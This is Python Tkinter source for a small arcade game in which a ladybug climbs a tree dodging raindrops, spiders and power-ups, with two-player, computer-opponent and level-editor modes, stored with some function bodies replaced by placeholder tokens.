image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\n<function token>\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\ndef hitScaryBug(data):\n for bug in data.scaryBug:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if (bug.y >= data.cy - 1.5 * data.r and bug.y <= data.cy + 1.5 *\n data.r):\n if (bug.x >= data.cx - 1.5 * data.r and bug.x <= data.cx + \n 1.5 * data.r):\n data.hit = True\n data.lives = 0\n data.levelEditorLives = 0\n if data.mode == '2Player' or data.mode == 'AI':\n if (bug.y >= data.player1Y - data.r and bug.y <= data.player1Y +\n data.r):\n if (bug.x >= data.player1X - data.r and bug.x <= data.\n player1X + data.r):\n data.winner = 'player2'\n if (bug.y >= data.player2Y - data.r and bug.y <= data.player2Y +\n data.r):\n if (bug.x >= data.player2X - data.r and bug.x <= data.\n player2X + data.r):\n data.winner = 'player1'\n\n\ndef drawPowerups(canvas, data):\n for bug in data.scaryBug:\n bug.draw(canvas, data)\n for powerUp in data.powerUps:\n powerUp.draw(canvas, data)\n for powerUp in data.invincible:\n powerUp.draw(canvas, data)\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\n<function token>\n<function token>\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef playerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n\n\ndef drop2Player(data):\n if data.winner == None and data.pauseDrops == False:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 25 and abs(xPosition1 - 360) > 25:\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 12 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(755, 0))\n powerupDrop2Player(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef powerupTimerFired(data):\n for coconut in data.coconuts1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n hit2Player(data)\n for coconut in data.coconuts2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\n<function token>\n\n\ndef changeEnter(canvas, data):\n if (data.powerUpsEditor != None and data.yourSpeed != None and data.\n rainSpeed != None):\n data.enter = data.click\n canvas.create_image(data.medX, data.enterX, image=data.enter)\n canvas.create_text(data.medX, data.enterX, text='Enter', font=data.font)\n\n\n<function token>\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\ndef levelCoconutShot(data):\n if data.levelEditorLives > 0:\n if data.time % int(0.35 * data.rSpeed) == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(770, 870)\n xPosition3 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n if data.time % int(0.55 * data.rSpeed) == 0:\n xPosition3 = random.randint(0, 220)\n xPosition5 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition5, 0))\n if data.time % int(data.rSpeed) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(3 * data.width / 8 - 20, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(7 * data.width / 8 + 40, 0))\n xPosition4 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition4, 0))\n levelPowerUp(data)\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef levelCreatedMousePressed(event, data):\n checkHome(event, data)\n\n\ndef levelCreatedTimerFired(data):\n setEverything(data)\n if data.levelEditorLives > 0:\n data.cy -= data.speed\n if data.cy < 15:\n data.level += 1\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n levelCoconutShot(data)\n if data.powerUpsEditor == False:\n for coconut in data.coconuts:\n coconut.onTimerFired(data)\n hit(data)\n if data.powerUpsEditor == True:\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\n<function token>\n\n\ndef rainDrop(data):\n xPosition = random.randint(0, data.width)\n data.editorDrops.append(Coconuts(xPosition, 0))\n\n\n<function token>\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n\n\ndef addExtraCoconut(data):\n if data.time % 18 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(755, 0))\n if data.time % 37 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(140, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(344, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(755, 0))\n\n\n<function token>\n<function token>\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\ndef AITimerFired(data):\n if data.winner == None:\n if data.Invincible1 == False:\n hitAI1(data, 31)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 31)\n for coconut in data.coconutsAI1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n for coconut in data.coconutsAI2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.Invincible1 == False:\n hitAI1(data, 13)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 13)\n data.player1Y -= data.speedAI\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n coconutShotAI(data)\n data.player2Y -= data.speedAI\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n coconutShotAI(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n powerUpAITimerFired(data)\n\n\ndef powerUpAITimerFired(data):\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef AIRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconutsAI1:\n coconut.draw(canvas)\n for coconut in data.coconutsAI2:\n coconut.draw(canvas)\n canvas.create_text(50, 40, text='Computer', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 1', font='Arial 15 bold', fill\n ='yellow')\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n AIWinner(canvas, data)\n drawHome(canvas, data)\n\n\ndef AIWinner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='The Computer Won :(',\n font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! You Won!', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef scoreboardKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef scoreboardMousePressed(event, data):\n checkHome(event, data)\n\n\ndef scoreboardTimerFired(data):\n difficultyTimerFired(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\n<function token>\n<code token>\n", "<import token>\n<function token>\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\n<function token>\n\n\ndef initsplashScreenNumbers(data):\n data.splashButtonY = 425\n data.p1ButtonX = 225\n data.p2ButtonX = 290\n data.edButton = 355\n data.diffButton = 425\n data.helpButton = 490\n data.sboardButton = 555\n data.hitPenalty = 75\n data.splashText = data.height / 2 - 20\n data.lives = 2\n data.levelMax = 8\n data.lane = 94\n data.Player1Min = 270\n data.Player1Max = 740\n data.homeX = 50\n data.homeY = 650\n initScoreBoardHelp(data)\n init1Player(data)\n\n\n<function token>\n\n\ndef init1Player(data):\n data.buffer = 40\n\n\ndef initAI(data):\n data.AITY = 225\n data.easyX = 200\n data.easyY = 300\n data.medX = 400\n data.hardX = 600\n data.enterY = 450\n data.difS = 4\n data.difM = 6\n data.difH = 8\n data.last = 500\n data.enterX = 575\n data.PUT = 450\n data.RST = 350\n data.YST = 250\n\n\n<function token>\n\n\ndef keyPressed(event, data):\n if data.mode == 'splashScreen':\n splashKeyPressed(event, data)\n elif data.mode == '1Player':\n playerKeyPressed(event, data)\n elif data.mode == '2Player':\n twoPlayerKeyPressed(event, data)\n elif data.mode == 'editor':\n editorKeyPressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedKeyPressed(event, data)\n elif data.mode == 'AI':\n AIKeyPressed(event, data)\n elif data.mode == 'difficulty':\n difficultyKeyPressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardKeyPressed(event, data)\n elif data.mode == 'help':\n helpKeyPressed(event, data)\n\n\n<function token>\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\ndef splashScreenTimerFired(data):\n data.splashScreenTime += 1\n if data.splashScreenTime % 2 == 1:\n rainDropSplash(data)\n for drop in data.splashScreenDrops:\n drop.onTimerFired(data)\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\n<function token>\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\ndef hitScaryBug(data):\n for bug in data.scaryBug:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if (bug.y >= data.cy - 1.5 * data.r and bug.y <= data.cy + 1.5 *\n data.r):\n if (bug.x >= data.cx - 1.5 * data.r and bug.x <= data.cx + \n 1.5 * data.r):\n data.hit = True\n data.lives = 0\n data.levelEditorLives = 0\n if data.mode == '2Player' or data.mode == 'AI':\n if (bug.y >= data.player1Y - data.r and bug.y <= data.player1Y +\n data.r):\n if (bug.x >= data.player1X - data.r and bug.x <= data.\n player1X + data.r):\n data.winner = 'player2'\n if (bug.y >= data.player2Y - data.r and bug.y <= data.player2Y +\n data.r):\n if (bug.x >= data.player2X - data.r and bug.x <= data.\n player2X + data.r):\n data.winner = 'player1'\n\n\ndef drawPowerups(canvas, data):\n for bug in data.scaryBug:\n bug.draw(canvas, data)\n for powerUp in data.powerUps:\n powerUp.draw(canvas, data)\n for powerUp in data.invincible:\n powerUp.draw(canvas, data)\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\n<function token>\n<function token>\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef playerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\n<function 